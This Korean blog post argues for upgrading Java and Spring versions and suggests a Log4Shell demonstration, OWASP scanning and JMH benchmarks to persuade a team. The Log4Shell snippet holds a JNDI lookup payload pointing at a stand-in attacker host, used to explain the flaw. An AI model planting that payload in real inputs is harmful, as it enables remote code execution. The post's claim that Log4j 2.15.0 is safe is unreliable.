자바, 스프링 버전 업그레이드를 하지 않는 이유와 설득할 방법
자바, 스프링 버전 업그레이드 정말 해야할까?
항상 해야 하는데 막연하게는 생각하지만 미루고 있는 일이 있다. 바로 스프링과 JDK 버전 업그레이드다. 어차피 관리가 잘 되지 않는다면 버전 업그레이드를 전혀 안해버리면 되는 것 아닐까? 왜 버전에 그렇게 신경을 써야할까? EOS 된 버전을 쓰지 말아야 한다고 막연하게 느끼고 있었지만, 이 질문에 대해 실질적인 답변을 찾아보려고 한다.
먼저 버전 업그레이드를 하지 않으면 생기는 문제와 그 문제가 주로 조직 차원에서 무시되는 이유를 살펴보고, 이를 설득할 수 있는 방안을 제안해볼 것이다. 이 후 실제로 버전 업그레이드 작업에 대한 시간을 할당 받는다면 다음 글로는 실제 버전 업그레이드와 메이저 버전 변경에 따른 마이그레이션 전략을 써 보려고 한다.(써볼 수 있다면 정말 좋겠다)
버전 업그레이드를 하지 않으면 생기는 문제가 뭘까?
개발자로 일해왔다면 버전 업그레이드를 아예 안할 수는 없다고 생각할 것이다. 보통 우리가 겪는 문제들은 아래와 같다.
보안 문제
가끔이나마 보안 이슈가 발생하면 보안팀에서는 특정 라이브러리나 사용 소프트웨어에 대한 전수 조사를 한다. 그리고 버전 업데이트를 하고 현황을 전달해 주길 원한다. 이런 이슈 이외에도 로그 라이브러리 이슈 등은 이 업계에 삽시간에 퍼지면서 조치를 취해야 하는 경우가 더러 있다. 이를 테면 Log4Shell 과 같은 문제인데, 노마드코더 유튜브 채널에 아주 잘 설명한 영상이 있다. 보안 문제를는 아주 직접적으로 우리가 버전을 수정하게 되는 이유인 것이다.
언어와 라이브러리의 지원 종료
보안만큼 심각한 이슈가 아니더라도, 지원되지 않는 문법과 라이브러리의 증가는 개발팀의 생산성 저하로 이어진다. stream, var 타입 추론, record 클래스와 같은 새로운 문법을 활용하지 못하는 것은 물론, 새롭게 리뉴얼된 프레임워크나 라이브러리의 이점을 누릴 수 없게 된다.
성능의 개선
Java 버전이 올라갈 때마다 눈에 띄는 성 능 개선이 이루어지고 있다. 특히 가비지 컬렉션(GC) 분야에서 큰 발전이 있었다. Java 9의 G1 GC, Java 11의 ZGC, Java 12의 Shenandoah GC는 프로그램의 '멈춤 현상'을 획기적으로 줄였다.
이런 문제에도 불구하고 업그레이드 하지 않는 이유는?
보안 문제는 "누군가" 해결해 준다.
"어차피 큰 문제가 발생하면 누군가 해결책을 내놓을 것이다"라는 생각이 퍼져있다. 이런 것들도 우리가 오픈 소스나 개발을 위한 소프트웨어를 개발하는 사람이 아닌 이상, 어차피 메이저한 문제가 나오면 "누군가"가 만든 해결책이 나오고, 실제로 조치해야 하는 정도는 스프링 라이브러리의 버전을 픽스하는 정도이다.
또 다른 측면에서 "누군가"는 불명확한 책임 소재를 표현하기도 한다. 보안관련 부서는 취약점을 발견하고 보고하는 역할을 하지만, 실제 업그레이드를 진행해야 하는 것은 개발 부서이다. 이 과정에서 양쪽의 책임 경계가 모호해지고, 결국 버전 업그레이드의 주체가 불분명해진다. "보안팀에서 요청은 했지만, 개발 일정상 당장은 어렵다"는 식의 핑퐁게임이 벌어지는 것이다.
개선된 언어와 리이브러리를 모른고 알 필요도 없다.
java 8은 2030년까지 LTS(Long Term Support)가 제공되는데, 이는 개발팀이 변화를 미루는 핑계가 되고 있다. 2030년까지는 어쨌든 공식적으로 java 8로 버틸 수가 있는 것이다. 5~6년 안에 새로 개발해야 할 서비스라면 새로 개발될 것이고, 아니라면 서비스 종료가 될 수도 있다.
새롭게 만드는 서비스가 있더라도 기술 스택과 아키텍쳐 스타일은 매우 유 사하게 만들어진다. 아직도 JSP로 만들어지는 서비스가 정말 많다. 트랜잭션 스크립트를 패턴은 사용하는 쪽에서는 그런 패턴명이 있는지 조차 모르는 경우가 많다.
성능이 중요하지 않다.
어쩄든 지금 시점에 더 필요한 성능 상의 개선은 없기도 하고, 성능이 올라간다는 것이 무엇이 얼마나 올라간다는 것인지 알지 못한다.
버전 업그레이드를 설득하기 위한 실천 방안
이전 단락의 주장은, 사실 여태 버전 업그레이드를 주장하는 나에게 돌아온 주요한 반박들이다. 개인적으로는 기술의 발전에 도태되지 않기 위해서라도 버전 업그레이드를 신경써야할 이유는 충분한 것 같지만 많은 사람을 설득하기 위해서는 다른 것들이 더 필요했다. 각 요소로 제시한 보안 문제, 언어 개선, 성능 개선 등을 보다 가시적으로 설득해야 하는 것이다. 이 방법으로 생각한 것들은 다음과 같다.
보안 문제를 시뮬레이션 해보고 실제로 어떤식으로 문제가 터지는지 살펴본다.
Log4Shell 시연
앞서 언급 했던 Log4Shell(CVE-2021-44228)과 같은 문제들을 실제로 시연해보면서 현재 문제가 되는 버전이 어디서 어떤 식으로 문제가 되는지 개발팀 내에 공유하면 더 공감대가 형성될 것이다.
Log4Shell은 다음과 같은 내용으로 간단히 시연해 볼 수 있다. 사용자 입력 값을 로그로 출력하는 경우를 상정하면, userInput 값에 ${jndi:ldap://악성서버/악성코드}
를 입력하는 것이다. 이 경우 Log4j가 로그 메시지 내의 ${jndi:...}
같은 특수 문자열을 단순 텍스트가 아닌 실행해야 할 명령으로 해석한다.
// 취약한 코드String userInput = "${jndi:ldap://hackerdomain.com/exploit}";logger.info("User logged in with username: {}", userInput);
// 안전한 코드 (Log4j 2.15.0 이상)logger.info("User logged in with username: {}", userInput); // 자동으로 JNDI 룩업 비활성화
OWASP 라이브러리를 사용
소스 상으로 보안 취약점을 스캔할 수 있는 owasp 라는 라이브러리도 있다. maven 에 의존성을 추가하는 형태로 사용하는데, 보안 취약점의 항목별로 얼마나 어떻게 취약점을 가지고 있는지 살펴볼 수 있는 것 같다. 또한 실제 검사 결과를 제공하면 버전 별로 가지고 있는 취약점이 보다 가시적으로 표현될 것이다.
성능을 수치로 보여준다.
성능을 수치적으로 측정하고, 이전 버전과 비교해서 얼마나 성능이 개선되었는지를 보여주는 것도 필요할 것이다. jmh를 사용하면 벤치마크 대상 로직을 메서드로 만들고 이를 실행하는데 걸린 시간을 비교할 수 있다. 아래 메서드의 경우, 그 실행 결과를 바로 아래 JSON 형태로 출력할 수 있다.
@Benchmarkpublic void measureAsyncOperations(Blackhole blackhole) throws Exception { List<CompletableFuture<String>> futures = dataList.stream() .limit(1000) .map(s -> CompletableFuture.supplyAsync(() -> s.toUpperCase())) .collect(Collectors.toList()); // toList() 대신 사용
List<String> results = futures.stream() .map(CompletableFuture::join) .collect(Collectors.toList()); // toList() 대신 사용
blackhole.consume(results);}
{ "jmhVersion" : "1.35", "benchmark" : "org.cbl.benchmark.JavaVersionBenchmark.measureAsyncOperations", "mode" : "avgt", "threads" : 1, "forks" : 1, "jvm" : "/Users/dahyeung/Library/Java/JavaVirtualMachines/corretto-1.8.0_322/Contents/Home/jre/bin/java", "jvmArgs" : [ "-javaagent:/Users/dahyeung/Applications/IntelliJ IDEA Ultimate.app/Contents/lib/idea_rt.jar=60339:/Users/dahyeung/Applications/IntelliJ IDEA Ultimate.app/Contents/bin", "-Dfile.encoding=UTF-8" ], "jdkVersion" : "1.8.0_322", "vmName" : "OpenJDK 64-Bit Server VM", "vmVersion" : "25.322-b06", "warmupIterations" : 3, "warmupTime" : "1 s", "warmupBatchSize" : 1, "measurementIterations" : 5, "measurementTime" : "1 s", "measurementBatchSize" : 1, "primaryMetric" : { "score" : 0.2553115975302888, "scoreError" : 0.10069994680463155, "scoreConfidence" : [ 0.15461165072565725, 0.3560115443349204 ], "scorePercentiles" : { "0.0" : 0.23455252223782772, "50.0" : 0.24897476052501238, "90.0" : 0.3001486102809325, "95.0" : 0.3001486102809325, "99.0" : 0.3001486102809325, "99.9" : 0.3001486102809325, "99.99" : 0.3001486102809325, "99.999" : 0.3001486102809325, "99.9999" : 0.3001486102809325, "100.0" : 0.3001486102809325 }, "scoreUnit" : "ms/op", "rawData" : [ [ 0.23455252223782772, 0.2533969419924338, 0.3001486102809325, 0.23948515261523765, 0.24897476052501238 ] ] }, "secondaryMetrics" : { }}
이걸 현재 로컬 PC에서 java 8과 java 11만 비교해도 성능 개선을 다음과 같이 살펴 볼 수 있다.
JDK 8 측정값:0.234 ms, 0.253 ms, 0.300 ms, 0.239 ms, 0.248 ms- 최소: 0.234 ms- 최대: 0.300 ms- 변동폭: 0.066 ms
JDK 11 측정값:0.163 ms, 0.161 ms, 0.161 ms, 0.176 ms, 0.164 ms- 최소: 0.161 ms- 최대: 0.176 ms- 변동폭: 0.015 ms
(jmh의 구체적인 내용을 적으려고 하니 글이 너무 길어져, 해당 내용은 별도로 작성을 해보려고 한다.)
팀 내 교육을 통해 개선된 문법과 스타일을 알린다.
변경된 문법에 따라 같은 코드를 어떻게 다르게 작성할 수 있는지 알려주는 시간도 필요할 것이다. 이를 통해 코드의 가독성과 유지보수성을 개선할 수 있는지 개발팀이 체감하는 것이 중요하기 떄문이다. (이 부분 또한 엄밀히는 버전 업그레이드 보다는 버전별 변경 사항을 전달하는 것이므로 별도 글로 작성을 해보겠다..)
결론
버전 업그레이드는 코드나 인프라 레벨에서는 상대적으로 간단해 보이지만, 실제로는 잘 시도하지 않는 것 같다. 작은 규모의 개발팀에서는 이러한 부분만 전담으로 체크하는 팀도 없고, 버전 업데이트로 인해 기능 출시가 늦어지는 것을 이해해줄 사업 부서도 흔치 않기 때문에 더욱 등한시되기 쉽다.
이런 상황에서 제시한 방법들이 타 부서에 얼마나 설득력있게 다가올지는 모르겠지만, 최소한 개발자로서 개발팀에게 버전 업그레이드라는 것이 의미하는 바를 명확히 하는 것에는 도움이 될 것이라고 본다.